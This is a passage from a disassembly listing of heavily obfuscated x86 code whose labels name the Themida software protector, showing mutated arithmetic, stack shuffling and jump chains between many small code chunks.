		jmp	loc_55DE33
; ---------------------------------------------------------------------------


loc_5543E5:				; CODE XREF: Themida_:00551F68j
		mov	[esp], edi
		mov	edi, 578510Fh
		push	edi
		mov	edi, 6D0140A1h
		sub	ebx, edi
		jmp	loc_5527DA
; ---------------------------------------------------------------------------


loc_5543FA:				; CODE XREF: Themida_:0055936Cj
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		push	ebp
		mov	ebp, 2E0F1579h
		shr	ebp, 2
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 581D8E4Eh
		add	ebp, 437F0BBBh
		add	ebp, ebx
		sub	ebp, 437F0BBBh
		pop	ebx
		jmp	loc_5533B1
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_55C9C5
; ---------------------------------------------------------------------------


loc_554431:				; CODE XREF: Themida_:00555B65j
		dec	ebp
		push	ecx
		mov	ecx, 30382503h
		not	ecx
		shl	ecx, 5
		sub	ecx, 0A9DE5217h
		and	ebp, ecx
		pop	ecx
		xor	ebp, 4819056Dh
		jmp	loc_55D60C
; ---------------------------------------------------------------------------


loc_554451:				; CODE XREF: Themida_:00558A30j
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_555A8B
; ---------------------------------------------------------------------------


loc_55445E:				; CODE XREF: Themida_:00557FB9j
		shr	eax, 0Ah
		xor	eax, ecx
		push	286Fh
		mov	[esp], eax
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		jmp	loc_558637
; ---------------------------------------------------------------------------


loc_554478:				; CODE XREF: Themida_:00552C11j
		mov	ebx, 207F4085h
		add	ebx, 50DFE875h
		and	ebp, ebx
		pop	ebx
		jmp	loc_551C3A
; ---------------------------------------------------------------------------


loc_55448B:				; CODE XREF: Themida_:0055D6DCj
		mov	[esp], esi
		push	1CBD0676h
		pop	esi
		jmp	loc_5558D4
; ---------------------------------------------------------------------------


loc_554499:				; CODE XREF: Themida_:005567A1j
		xchg	ebp, [esp]
		jmp	loc_554C04
; ---------------------------------------------------------------------------


loc_5544A1:				; CODE XREF: Themida_:005568D6j
		mov	[edi+20h], edx
		pop	edx
		inc	dword ptr [edi+20h]
		xor	dword ptr [edi+20h], 3D27716Eh
		shr	dword ptr [edi+20h], 2
		or	dword ptr [edi+20h], 360905B2h
		push	ebx
		mov	ebx, 3C3A568Dh
		and	[edi+20h], ebx
		pop	ebx
		jmp	loc_558CBE
; ---------------------------------------------------------------------------


loc_5544C9:				; CODE XREF: Themida_:00559E9Cj
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55B4DA
; ---------------------------------------------------------------------------


loc_5544DD:				; CODE XREF: Themida_:0055C1B2j
		add	eax, esi
		jmp	loc_55D2CA
; ---------------------------------------------------------------------------


loc_5544E4:				; CODE XREF: Themida_:0055476Cj
		pop	eax
		shr	edi, 6
		xor	edi, 4EBF0537h
		or	ebx, edi
		pop	edi
		not	ebx
		sub	ebx, 8E127486h
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 5B081A40h
		or	eax, 328E1B1Ah
		shr	eax, 8
		xor	eax, 5424A96h
		push	ecx
		mov	ecx, 0FDB548F3h
		jmp	loc_559E4D
; ---------------------------------------------------------------------------


loc_554528:				; CODE XREF: Themida_:00556934j
		pop	ebx
		pop	edx
		jmp	loc_55D3E1
; ---------------------------------------------------------------------------


loc_55452F:				; CODE XREF: Themida_:00554CABj
		mov	esp, [esp]
		jmp	loc_559D08
; ---------------------------------------------------------------------------


loc_554537:				; CODE XREF: Themida_:00556F8Fj
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5547AA
; ---------------------------------------------------------------------------


loc_554555:				; CODE XREF: Themida_:00552433j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_558DF1
; ---------------------------------------------------------------------------


loc_554560:				; CODE XREF: Themida_:0055BA57j
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 71E73928h
		push	7573h
		mov	[esp], edx
		jmp	loc_557307
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	esi
		push	edx
		mov	edx, 833488Dh
		push	edx
		jmp	loc_555844
; ---------------------------------------------------------------------------
		push	7587h
		mov	[esp], edx
		mov	edx, 1Ch
		push	ebp
		mov	ebp, 3EFC3AB6h
		xor	ebp, 0BEF7BACh
		sub	ebp, 1910CFEFh
		sub	edx, ebp
		pop	ebp
		add	edx, edi
		push	ebp
		mov	ebp, 35FB3B4Bh
		jmp	loc_55B093
; ---------------------------------------------------------------------------


loc_5545C8:				; CODE XREF: Themida_:00558F32j
		add	ecx, 169B75E8h
		not	ecx
		sub	ecx, 8C55404Ch
		add	edi, ecx
		pop	ecx
		push	1341h
		mov	[esp], esi
		mov	esi, 2C773B29h
		shr	esi, 3
		add	esi, 0FFFFFFFFh
		jmp	loc_552550
; ---------------------------------------------------------------------------


loc_5545F4:				; CODE XREF: Themida_:00554D08j
		xchg	edi, [esp]
		jmp	loc_5551CD
; ---------------------------------------------------------------------------


loc_5545FC:				; CODE XREF: Themida_:00554DC7j
		pop	ecx
		or	edx, 100C154Ah
		sub	edx, 86A5259h
		inc	edx
		sub	edx, 0CBD9A109h
		sub	ecx, edx
		pop	edx
		sub	ecx, 58CADA9Dh
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		sub	dword ptr [esp], 109C0B2Dh
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 109C0B2Dh
		pop	ecx
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55464B:				; CODE XREF: Themida_:005570F4j
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		push	edi
		jmp	loc_558282
; ---------------------------------------------------------------------------


loc_554660:				; CODE XREF: Themida_:0055C290j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_55926C
; ---------------------------------------------------------------------------


loc_554673:				; CODE XREF: Themida_:0055584Cj
		add	esi, 63371F53h
		pop	edx
		or	esi, 1355232h
		neg	esi
		or	esi, 78180F50h
		inc	esi
		shl	esi, 8
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0D8AF5204h
		xor	esi, eax
		jmp	loc_55320E
; ---------------------------------------------------------------------------


loc_5546A1:				; CODE XREF: Themida_:005532FAj
		push	ecx
		jmp	loc_55B62D
; ---------------------------------------------------------------------------


loc_5546A7:				; CODE XREF: Themida_:0055248Dj
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55A6E8
; ---------------------------------------------------------------------------


loc_5546B2:				; CODE XREF: Themida_:00554739j
		neg	ebx
		push	edi
		jmp	loc_55A1AD
; ---------------------------------------------------------------------------


loc_5546BA:				; CODE XREF: Themida_:00555D31j
		xor	ecx, 2511F5DAh
		add	ebx, ecx
		pop	ecx
		add	ebx, eax
		sub	ebx, 548807C3h
		push	ebp
		mov	ebp, 37B868CEh
		jmp	loc_55ACA7
; ---------------------------------------------------------------------------


loc_5546D6:				; CODE XREF: Themida_:00553C72j
		add	esp, 2
		mov	dx, [esp]
		add	esp, 2
		add	bl, 0B0h
		sub	bl, 74h
		add	bl, 0DBh
		sub	bl, al
		jmp	loc_5562E3
; ---------------------------------------------------------------------------


loc_5546F3:				; CODE XREF: Themida_:0055AD0Cj
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55C8C2
; ---------------------------------------------------------------------------


loc_554704:				; CODE XREF: Themida_:00559B5Cj
		add	esi, ecx
		pop	ecx
		add	eax, esi
		jmp	loc_558486
; ---------------------------------------------------------------------------


loc_55470E:				; CODE XREF: Themida_:00554041j
		mov	edi, ecx
		pop	ecx
		sub	edi, 6AFA7D66h
		not	edi
		or	edi, 49D0488Bh
		jmp	loc_55DA57
; ---------------------------------------------------------------------------


loc_554724:				; CODE XREF: Themida_:0055B5B1j
		pop	ecx
		jmp	loc_553997
; ---------------------------------------------------------------------------


loc_55472A:				; CODE XREF: Themida_:00554120j
		sub	bh, 0D9h
		jmp	loc_55298A
; ---------------------------------------------------------------------------


loc_554732:				; CODE XREF: Themida_:00555173j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_554737:				; CODE XREF: Themida_:0055A8CAj
		shr	ebx, 1
		jmp	loc_5546B2
; ---------------------------------------------------------------------------


loc_55473E:				; CODE XREF: Themida_:00553881j
		mov	[esp], ebp
		push	edi
		jmp	loc_55C4DF
; ---------------------------------------------------------------------------


loc_554747:				; CODE XREF: Themida_:00551A3Aj
		push	dword ptr [esp]
		jmp	loc_554B6B
; ---------------------------------------------------------------------------


loc_55474F:				; CODE XREF: Themida_:0055CF20j
		add	esp, 4
		or	[esp], eax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55475E:				; CODE XREF: Themida_:00554151j
		neg	eax
		sub	eax, 15560CECh
		jmp	loc_55729B
; ---------------------------------------------------------------------------


loc_55476A:				; CODE XREF: Themida_:005572A0j
		xor	edi, eax
		jmp	loc_5544E4
; ---------------------------------------------------------------------------


loc_554771:				; CODE XREF: Themida_:005531CDj
		mov	[esp], edi
		jmp	loc_556A5C
; ---------------------------------------------------------------------------


loc_554779:				; CODE XREF: Themida_:00554B88j
		add	esp, 4
		jmp	loc_55A5ED
; ---------------------------------------------------------------------------


loc_554781:				; CODE XREF: Themida_:005557F4j
		pop	ebx
		and	edi, 503818BCh
		jmp	loc_559078
; ---------------------------------------------------------------------------


loc_55478D:				; CODE XREF: Themida_:0055577Fj
		xor	edx, 46F754F8h
		shl	edx, 5
		push	edi
		mov	edi, 377B3B18h
		shl	edi, 3
		xor	edi, 816C869Ah
		jmp	loc_551D7D
; ---------------------------------------------------------------------------


loc_5547AA:				; CODE XREF: Themida_:00554550j
		push	ecx
		mov	ecx, 6C4D2840h
		shl	ecx, 4
		inc	ecx
		add	ecx, 0FFFFFFFFh
		xchg	edx, ecx
		inc	edx
		xchg	edx, ecx
		sub	ecx, 707D2BAFh
		add	ecx, 0ABAAA7B2h
		jmp	loc_559D9A
; ---------------------------------------------------------------------------


loc_5547D0:				; CODE XREF: Themida_:00551B46j
		dec	si
		sub	si, 0CFA8h
		add	bx, si
		mov	esi, [esp]
		add	esp, 4
		sub	ax, bx
		jmp	loc_55D33C
; ---------------------------------------------------------------------------


loc_5547E8:				; CODE XREF: Themida_:00552D7Bj
		mov	[esp], eax
		mov	eax, 17391C2Fh
		jmp	loc_557C08
; ---------------------------------------------------------------------------


loc_5547F5:				; CODE XREF: Themida_:005573BDj
		pop	ebx
		jmp	loc_552050
; ---------------------------------------------------------------------------


loc_5547FB:				; CODE XREF: Themida_:00554848j
		push	ecx
		mov	ecx, 2
		sub	edx, ecx
		pop	ecx
		jmp	loc_55CF25
; ---------------------------------------------------------------------------


loc_554809:				; CODE XREF: Themida_:00551A7Fj
		sub	esi, 2800CB1h
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 5C680F06h
		and	edx, 191E44DEh
		sub	edx, 0B7983775h
		xor	esi, edx
		jmp	loc_55A41A
; ---------------------------------------------------------------------------


loc_55482E:				; CODE XREF: Themida_:0055625Ej
		sub	ecx, 7CAC6C87h
		shl	ecx, 2
		xor	ecx, 0C541EF9Ah
		add	edi, ecx
		pop	ecx
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5547FB
; ---------------------------------------------------------------------------


loc_55484D:				; CODE XREF: Themida_:0055CB5Cj
		push	eax
		jmp	loc_55DC0A
; ---------------------------------------------------------------------------


loc_554853:				; CODE XREF: Themida_:0055B1E4j
		mov	esi, 512819FFh
		sub	esi, 1
		push	edi
		mov	edi, 224A2D2Eh
		or	edi, 7F5458A9h
		jmp	loc_55C436
; ---------------------------------------------------------------------------


loc_55486C:				; CODE XREF: Themida_:00558B24j
		add	esp, 4
		push	1332h
		mov	[esp], ecx
		mov	ecx, 38A2406Ah
		jmp	loc_555204
; ---------------------------------------------------------------------------


loc_554884:				; CODE XREF: Themida_:00558347j
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55C9E7
; ---------------------------------------------------------------------------


loc_554891:				; CODE XREF: Themida_:00558632j
		neg	ebp
		xor	ebp, 1E890F66h
		xor	ebp, 0A789775Ah
		jmp	loc_559BAE
; ---------------------------------------------------------------------------


loc_5548A4:				; CODE XREF: Themida_:00551EA7j
		xor	edi, 3B7F6DB7h
		jmp	loc_55BA7E
; ---------------------------------------------------------------------------


loc_5548AF:				; CODE XREF: Themida_:00552121j
		mov	ebp, 4
		sub	esi, 211B32F0h
		add	esi, ebp
		add	esi, 211B32F0h
		pop	ebp
		push	ecx
		mov	ecx, 2
		add	esi, ecx
		pop	ecx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_5586AA
; ---------------------------------------------------------------------------


loc_5548D9:				; CODE XREF: Themida_:0055AE97j
		add	ebx, ebp
		add	ebx, 59B85CFBh
		jmp	loc_551AAB
; ---------------------------------------------------------------------------


loc_5548E6:				; CODE XREF: Themida_:00556C1Bj
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	ebx
		mov	ebx, 4
		jmp	loc_552E54
; ---------------------------------------------------------------------------


loc_5548FC:				; CODE XREF: Themida_:0055D851j
		pop	eax
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		not	ebp
		xchg	ebp, [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55C8D6
; ---------------------------------------------------------------------------


loc_55492C:				; CODE XREF: Themida_:0055634Bj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2C2C68E3h
		jmp	loc_55867E
; ---------------------------------------------------------------------------


loc_55493F:				; CODE XREF: Themida_:00558EBBj
		push	edx
		mov	dl, 6Ah
		not	dl
		sub	dl, 5Ah
		shl	dl, 5
		jmp	loc_55CE12
; ---------------------------------------------------------------------------


loc_55494F:				; CODE XREF: Themida_:0055988Aj
		add	edi, 6F37121Ah
		push	edi
		sub	dword ptr [esp], 220C68CAh
		pop	eax
		add	eax, 220C68CAh
		push	dword ptr [esp]
		pop	edi
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55AED7
; ---------------------------------------------------------------------------


loc_554975:				; CODE XREF: Themida_:0055994Bj
		add	esp, 4
		push	dx
		dec	byte ptr [esp]
		pop	dx
		not	dl
		sub	dl, 0DCh
		xor	dl, 0EEh
		and	al, dl
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		push	eax
		mov	eax, 4
		push	eax
		sub	dword ptr [esp], 0C951B2Ah
		jmp	loc_558876
; ---------------------------------------------------------------------------


loc_5549B1:				; CODE XREF: Themida_:0055D007j
		mov	ebx, [esp]
		jmp	loc_552E8A
; ---------------------------------------------------------------------------


loc_5549B9:				; CODE XREF: Themida_:00558D46j
		mov	cl, 6Ch
		mov	dh, cl
		pop	ecx
		mov	ah, dh
		jmp	loc_5599FB
; ---------------------------------------------------------------------------


loc_5549C5:				; CODE XREF: Themida_:0055BD92j
		not	ebp
		jmp	loc_55252A
; ---------------------------------------------------------------------------


loc_5549CC:				; CODE XREF: Themida_:0055D24Fj
		pop	bx
		jmp	loc_5535B8
; ---------------------------------------------------------------------------


loc_5549D3:				; CODE XREF: Themida_:0055A5E8j
		sub	ebx, ebp
		pop	ebp
		add	ebx, edi
		jmp	loc_55DE67
; ---------------------------------------------------------------------------


loc_5549DD:				; CODE XREF: Themida_:00557861j
		pop	esp
		jmp	loc_558FA9
; ---------------------------------------------------------------------------


loc_5549E3:				; CODE XREF: Themida_:00557F78j
		mov	esi, ebx
		jmp	loc_55DEC1
; ---------------------------------------------------------------------------


loc_5549EA:				; CODE XREF: Themida_:005530C0j
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_554B3E
		push	5D76h
		mov	[esp], ebx
		jmp	loc_553F72
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	7533h
		mov	[esp], edi
		push	esp
		jmp	loc_552ED7
; ---------------------------------------------------------------------------


loc_554A17:				; CODE XREF: Themida_:00557557j
		mov	[esp], ebp
		jmp	loc_55323A
; ---------------------------------------------------------------------------


loc_554A1F:				; CODE XREF: Themida_:005536E7j
		pop	esp
		jmp	loc_557DCF
; ---------------------------------------------------------------------------


loc_554A25:				; CODE XREF: Themida_:005599D9j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_554A2A:				; CODE XREF: Themida_:00552C44j
		add	esp, 4
		div	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	2A45h
		mov	[esp], esi
		push	4
		pop	esi
		sub	ebx, esi
		jmp	loc_553BD4
; ---------------------------------------------------------------------------


loc_554A4D:				; CODE XREF: Themida_:00557971j
		xchg	edx, [esp]
		mov	esp, [esp]
		push	647Eh
		mov	[esp], ecx
		push	ebx
		mov	bh, 0CCh
		add	bh, 6Dh
		add	bh, 0Ch
		xor	bh, 0DFh
		mov	ch, bh
		jmp	loc_55DD66
; ---------------------------------------------------------------------------


loc_554A6E:				; CODE XREF: Themida_:005536B9j
		or	edx, 4F3C3436h
		shl	edx, 2
		push	edi
		mov	edi, 26C86968h
		push	ebx
		mov	ebx, 777A7F5Eh
		add	ebx, 290128B7h
		shr	ebx, 1
		sub	ebx, 545E54E0h
		xor	ebx, 22EAE95Ah
		jmp	loc_55ABF2
; ---------------------------------------------------------------------------


loc_554A9C:				; CODE XREF: Themida_:0055C09Ej
		mov	esi, esp
		add	esi, 4
		jmp	loc_556B50
; ---------------------------------------------------------------------------


loc_554AA9:				; CODE XREF: Themida_:005541E8j
		mov	eax, esp
		push	ecx
		mov	ecx, 19670BD1h
		push	edi
		mov	edi, 6D526B13h
		and	ecx, edi
		pop	edi
		shl	ecx, 7
		sub	ecx, 24D67272h
		dec	ecx
		add	ecx, 83D0E9F7h
		add	eax, 773E0DC3h
		add	eax, ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 773E0DC3h
		sub	eax, edx
		pop	edx
		pop	ecx
		push	esi
		mov	esi, 4
		add	eax, esi
		jmp	loc_5573EB
; ---------------------------------------------------------------------------


loc_554AF0:				; CODE XREF: Themida_:0055CA10j
		mov	ecx, 2C5D027Ah
		dec	ecx
		inc	ecx
		sub	ecx, 11642166h
		shr	ecx, 1
		jmp	loc_55B298
; ---------------------------------------------------------------------------


loc_554B04:				; CODE XREF: Themida_:00551B02j
		add	ebx, edx
		pop	edx
		jmp	loc_5586B2
; ---------------------------------------------------------------------------


loc_554B0C:				; CODE XREF: Themida_:0055D11Bj
		mov	eax, 64266F64h
		dec	eax
		not	eax
		xor	eax, 6B57F34h
		jmp	loc_55752F
; ---------------------------------------------------------------------------


loc_554B1E:				; CODE XREF: Themida_:00552238j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_552157
; ---------------------------------------------------------------------------


loc_554B29:				; CODE XREF: Themida_:0055644Ej
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]


loc_554B3E:				; CODE XREF: Themida_:00553BE9j
					; Themida_:005549F2j
		push	dword ptr [edi+24h]
		push	ebx
		mov	ebx, 288273ACh
		xor	[esp+4], ebx
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		push	edx
		jmp	loc_55676E
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	6D04h
		mov	[esp], edx
		push	ebx
		mov	bh, 73h
		jmp	loc_557E99
; ---------------------------------------------------------------------------


loc_554B6B:				; CODE XREF: Themida_:0055474Aj
		pop	ecx
		jmp	loc_55A313
; ---------------------------------------------------------------------------


loc_554B71:				; CODE XREF: Themida_:005531BFj
		push	eax
		mov	ah, ch
		mov	bl, ah
		pop	eax
		jmp	loc_55A5B0
; ---------------------------------------------------------------------------


loc_554B7C:				; CODE XREF: Themida_:0055CF96j
		mov	[esp], eax
		mov	eax, 586FECF8h
		push	eax
		mov	ebp, [esp]
		jmp	loc_554779
; ---------------------------------------------------------------------------


loc_554B8D:				; CODE XREF: Themida_:005557D8j
		xor	ecx, 0E06C4225h
		add	eax, ecx
		pop	ecx
		add	eax, edi
		sub	eax, 632431A5h
		sub	eax, 1EAE221Fh
		add	eax, 110E2552h
		jmp	loc_553977
; ---------------------------------------------------------------------------


loc_554BAC:				; CODE XREF: Themida_:00554336j
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55CAA5
; ---------------------------------------------------------------------------


loc_554BB7:				; CODE XREF: Themida_:0055CFBBj
		sub	al, cl
		pop	cx
		sub	al, bl
		push	edx
		mov	dh, 38h
		add	dh, 0FFh
		not	dh
		jmp	loc_55AF7D
; ---------------------------------------------------------------------------


loc_554BCA:				; CODE XREF: Themida_:0055602Aj
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_55BC75
; ---------------------------------------------------------------------------


loc_554BE5:				; CODE XREF: Themida_:00555097j
		shr	ecx, 8
		add	ecx, 0FFE3D388h
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 751F63BBh
		jmp	loc_5596D9
; ---------------------------------------------------------------------------


loc_554C04:				; CODE XREF: Themida_:0055449Cj
		mov	esp, [esp]
		jmp	loc_5539CE
; ---------------------------------------------------------------------------


loc_554C0C:				; CODE XREF: Themida_:0055A9DFj
		push	eax
		mov	eax, 441E43FFh
		jmp	loc_5582F9
; ---------------------------------------------------------------------------


loc_554C17:				; CODE XREF: Themida_:0055BB39j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	2FBh
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_559EF0
; ---------------------------------------------------------------------------


loc_554C3A:				; CODE XREF: Themida_:00558AF7j
		push	5059h
		jmp	loc_551F09
; ---------------------------------------------------------------------------


loc_554C44:				; CODE XREF: Themida_:005554AEj
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_55ABCD
; ---------------------------------------------------------------------------


loc_554C4F:				; CODE XREF: Themida_:00557BEBj
		add	dword ptr [esp], 4
		jmp	loc_551DE6
; ---------------------------------------------------------------------------


loc_554C58:				; CODE XREF: Themida_:0055DB5Ej
		pop	eax
		add	dl, 0D6h
		add	ch, dl
		mov	edx, [esp]
		jmp	loc_552D58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_554C66:				; CODE XREF: sub_55656B+203Bj
		neg	ecx
		add	ecx, 0C1624825h
		jmp	loc_5576C9
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_554C73:				; CODE XREF: Themida_:0055B78Cj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5598BE
; ---------------------------------------------------------------------------


loc_554C80:				; CODE XREF: Themida_:00555599j
		push	ecx
		mov	ecx, 4E07EB5h
		shl	ecx, 2
		neg	ecx
		jmp	loc_553FDC
; ---------------------------------------------------------------------------


loc_554C90:				; CODE XREF: Themida_:00559D03j
		push	0CDBh
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55BCE1
; ---------------------------------------------------------------------------


loc_554C9E:				; CODE XREF: Themida_:0055B728j
		pop	ebx
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55452F
; ---------------------------------------------------------------------------


loc_554CB0:				; CODE XREF: Themida_:00557A2Ej
		pop	eax
		shr	eax, 5
		not	eax
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		add	eax, 73F369E8h
		sub	eax, 5B7B554Ch
		sub	eax, 1BC0D521h
		add	edi, eax
		jmp	loc_55C4C0
; ---------------------------------------------------------------------------


loc_554CD0:				; CODE XREF: Themida_:0055CE0Dj
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_554CE4:				; CODE XREF: Themida_:00556126j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_552237
; ---------------------------------------------------------------------------


loc_554CEF:				; CODE XREF: Themida_:00556B0Aj
		mov	[esp], ecx
		mov	ecx, 0FEh
		and	[edi+1Ch], ecx
		jmp	loc_554D33
; ---------------------------------------------------------------------------


loc_554CFF:				; CODE XREF: Themida_:0055C9B8j
		push	esi
		mov	esi, 2
		add	edi, esi
		pop	esi
		jmp	loc_5545F4
; ---------------------------------------------------------------------------


loc_554D0D:				; CODE XREF: Themida_:00556566j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55629F
; ---------------------------------------------------------------------------


loc_554D1A:				; CODE XREF: Themida_:0055775Dj
		push	dword ptr [esp+4]
		jmp	loc_5553B5
; ---------------------------------------------------------------------------


loc_554D23:				; CODE XREF: Themida_:00559891j
		pop	dx
		xor	bl, al
		movzx	eax, al
		mov	dx, [esp]
		jmp	loc_557409
; ---------------------------------------------------------------------------


loc_554D33:				; CODE XREF: Themida_:00554CFAj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	edx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55BED3
; ---------------------------------------------------------------------------


loc_554D60:				; CODE XREF: Themida_:00559C81j
		xor	[ecx], edi
		mov	edi, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_55B416
; ---------------------------------------------------------------------------


loc_554D71:				; CODE XREF: Themida_:00557BCCj
		pop	edi
		add	esi, eax
		pop	eax
		add	edx, esi
		pop	esi
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 0
		push	esi
		mov	esi, 144F4D49h
		neg	esi
		jmp	loc_55603C
; ---------------------------------------------------------------------------


loc_554D9A:				; CODE XREF: Themida_:0055B475j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_553035
; ---------------------------------------------------------------------------


loc_554DB4:				; CODE XREF: Themida_:00553D8Dj
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_55B017
; ---------------------------------------------------------------------------


loc_554DBF:				; CODE XREF: Themida_:0055B79Bj
		xor	ecx, 1698076Fh
		and	edx, ecx
		jmp	loc_5545FC
; ---------------------------------------------------------------------------


loc_554DCC:				; CODE XREF: Themida_:00551D00j
		add	bl, 51h
		shl	bl, 2
		jmp	loc_551D0B
; ---------------------------------------------------------------------------


loc_554DD7:				; CODE XREF: Themida_:0055744Ej
		or	esi, 1A2356A5h
		jmp	loc_5542D0
; ---------------------------------------------------------------------------


loc_554DE2:				; CODE XREF: Themida_:00552995j
		add	al, 0D9h
		or	bh, al
		pop	eax
		sub	bh, 6
		add	al, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_556869
; ---------------------------------------------------------------------------


loc_554DFA:				; CODE XREF: Themida_:00552152j
		mov	dh, 0A2h
		sub	cl, dh
		pop	dx
		mov	al, cl
		pop	ecx
		mov	bh, 99h
		sub	bh, 0DFh
		sub	bh, al
		add	bh, 0DFh
		mov	eax, [esp]
		push	ecx
		jmp	loc_55514A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_554E16:				; CODE XREF: sub_55656B+5D9Cj
		pop	ecx
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_554E2E:				; CODE XREF: Themida_:00552102j
		imul	ecx
		push	6E36h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_554E3F:				; CODE XREF: Themida_:00554F9Dj
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_55977E
; ---------------------------------------------------------------------------


loc_554E4D:				; CODE XREF: Themida_:00558E1Cj
		xor	dh, 0A1h
		jmp	loc_55BD39
; ---------------------------------------------------------------------------


loc_554E55:				; CODE XREF: Themida_:0055D4FCj
		push	esi
		jmp	loc_553834
; ---------------------------------------------------------------------------


loc_554E5B:				; CODE XREF: Themida_:0055C064j
		pop	ebx
		jmp	loc_556CF0
; ---------------------------------------------------------------------------


loc_554E61:				; CODE XREF: Themida_:005584EBj
		mov	[esp], eax
		not	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
